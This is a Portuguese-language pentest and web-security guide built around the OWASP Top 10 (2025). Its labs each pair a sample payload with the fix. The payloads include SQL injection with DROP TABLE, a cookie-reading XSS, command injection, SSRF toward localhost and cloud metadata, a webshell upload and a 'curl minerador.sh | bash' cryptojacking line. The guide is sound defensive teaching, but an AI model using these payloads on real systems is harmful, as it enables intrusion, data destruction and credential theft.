

Guia de Pentest & Segurança de Aplicações

Habilidades essenciais · OWASP Top 10 (2025) · laboratórios práticos para blindar seus próprios sistemas

■ Regra de ouro — legalidade

Só teste sistemas que são **seus** ou para os quais você tem **autorização por escrito**. Testar seus próprios sistemas e laboratórios que você mesmo constrói é 100% legal e ético. Rodar essas técnicas contra terceiros sem permissão é crime.

A filosofia deste guia: **pense como atacante para defender melhor**. Cada laboratório segue o ciclo **quebre** → **entenda** → **conserte** → **confirme o fix**. É assim que uma falha vira conhecimento permanente.

1 · Habilidades essenciais de pentest

- **Rede e HTTP** — requisição/resposta, headers, cookies, métodos e status codes. Base de tudo em web.
- **Proxy de interceptação** — Burp Suite (Community) ou OWASP ZAP para ver e modificar cada request.
- **Reconhecimento (recon)** — mapear o exposto: portas (nmap), diretórios e endpoints (ffuf, gobuster).
- **Análise de vulnerabilidades** — scanners como nuclei, nikto, npm audit / Trivy para dependências.
- **Exploração manual** — o coração do pentest: SQLi, XSS, controle de acesso quebrado, SSRF, RCE.
- **Leitura de código** — reconhecer o padrão perigoso (ex.: concatenação de string numa query) vale mais que qualquer scanner.
- **Scripting** — Python/Bash para automatizar ataques e provas de conceito.
- **Mentalidade defensiva** — para cada falha, saber o fix: query parametrizada, output encoding, rate limiting, autorização no servidor.

2 · OWASP Top 10 (edição 2025)

A referência da indústria para os riscos mais críticos em aplicações web. Mudanças-chave em 2025: **Security Misconfiguration** subiu de #5 para #2, entrou a categoria nova **Software Supply Chain Failures** (#3, maior incidência) e o **SSRF** foi absorvido pelo Broken Access Control.

#	Risco	O que é / exemplos
A01	Broken Access Control	Acesso indevido: IDOR, escalção de privilégio, CORS mal configurado, SSRF.
A02	Security Misconfiguration	Credencial padrão, debug em produção, bucket público, headers ausentes.
A03	Software Supply Chain Failures	Dependência de terceiros vulnerável ou maliciosa.
A04	Cryptographic Failures	Senha em texto puro, TLS fraco, chave vazada.
A05	Injection	SQLi, XSS, injeção de comando de SO, LDAP, NoSQL.
A06	Insecure Design	Falha de concepção; controle ausente por design.
A07	Authentication Failures	Senha fraca, sem MFA, sessão mal gerenciada.
A08	Software/Data Integrity Failures	Deserialização insegura, updates sem verificação.

A09	Logging & Alerting Failures	Ser invadido e não perceber.
A10	Mishandling of Exceptional Conditions	Erro/exceção mal tratados → crash, DoS, 'failing open'.

3 · Foco: derrubar o sistema & abusar de recursos

Derrubaram meus sistemas (DoS / esgotamento de recursos)

- Falta de **rate limiting** — o atacante faz um loop de milhares de requests.
- Consultas **sem paginação** — um endpoint que retorna a tabela inteira.
- **ReDoS** — regex mal feita trava a CPU com uma string maliciosa.
- **Upload sem limite** de tamanho, e exceções não tratadas que derrubam o processo (A10).

Abusaram dos meus recursos computacionais (cryptojacking)

- **RCE / injeção de comando** — o atacante roda `curl minerador.sh | bash` no seu servidor.
- **SSRF** — força o servidor a acessar o metadata da cloud (169.254.169.254) e rouba credenciais para subir máquinas de mineração.
- **Upload de webshell** e **dependências maliciosas** na supply chain.

4 · Laboratórios práticos (do 'ver caindo' ao 'saber defender')

SQL Injection (CRUD)

Login que monta a query por concatenação.

```
payload: ' OR '1'='1 → '; DROP TABLE users;--
```

Fix → Prepared statements / query parametrizada.

Stored XSS

Comentários salvos e exibidos sem sanitização.

```
payload: <script>alert(document.cookie)</script>
```

Fix → Output encoding + Content-Security-Policy.

IDOR (A01)

Troca o ID na URL e vê o dado de outro usuário.

```
payload: /api/pedido/1 → /api/pedido/2
```

Fix → Checar no servidor se o objeto é do usuário logado.

Login sem rate limit

Força bruta + estresse no servidor.

```
payload: loop: 1000 senhas/seg
```

Fix → Rate limiting, lockout, CAPTCHA / MFA.

Command Injection

Ferramenta de 'ping' que chama o shell (caminho do cryptojacking).

```
payload: 8.8.8.8 ; whoami
```

Fix → Nunca chamar shell com input; usar API segura + allowlist.

SSRF

Recurso 'buscar por URL' apontado para dentro.

payload: `http://localhost:8080/admin`

Fix → Allowlist de domínios; bloquear IPs internos.

Upload inseguro

Aceita qualquer extensão → webshell.

payload: `shell.php` → **RCE**

Fix → Validar tipo real, renomear, guardar fora do webroot.

Atalho recomendado

Para aprender o lado **atacante** use apps já vulneráveis (rodam em Docker): **OWASP Juice Shop**, **DVWA**, **WebGoat**. Para aprender o lado **dev/defesa** — seu objetivo — construa seus próprios labs como os acima.

5 · Kit de ferramentas

Ataque / teste	Defesa
Burp Suite / OWASP ZAP (proxy)	Rate limiting + WAF
nmap, ffuf, gobuster (recon)	Queries parametrizadas / ORM
sqlmap (SQLi), nuclei, nikto	Output encoding + CSP
Metasploit (exploração)	Dependabot / Trivy / npm audit

6 · Onde praticar agora

★ PortSwigger — Web Security Academy (gratuito)

O melhor recurso gratuito do mundo para treinar cada técnica com laboratórios interativos e guiados (SQLi, XSS, controle de acesso, command injection, SSRF e mais). Comece pelo lab de **login bypass** por SQL injection — é o seu exemplo na prática.

portswigger.net/web-security

- **TryHackMe** — trilhas didáticas, ótimo para começar do zero. (tryhackme.com)
- **HackTheBox** — máquinas realistas para nível intermediário. (hackthebox.com)
- **OWASP Juice Shop** — app vulnerável completo em Docker. (owasp.org/www-project-juice-shop)

Gerado por Claude · edição OWASP Top 10 2025 · pratique somente em sistemas próprios ou autorizados.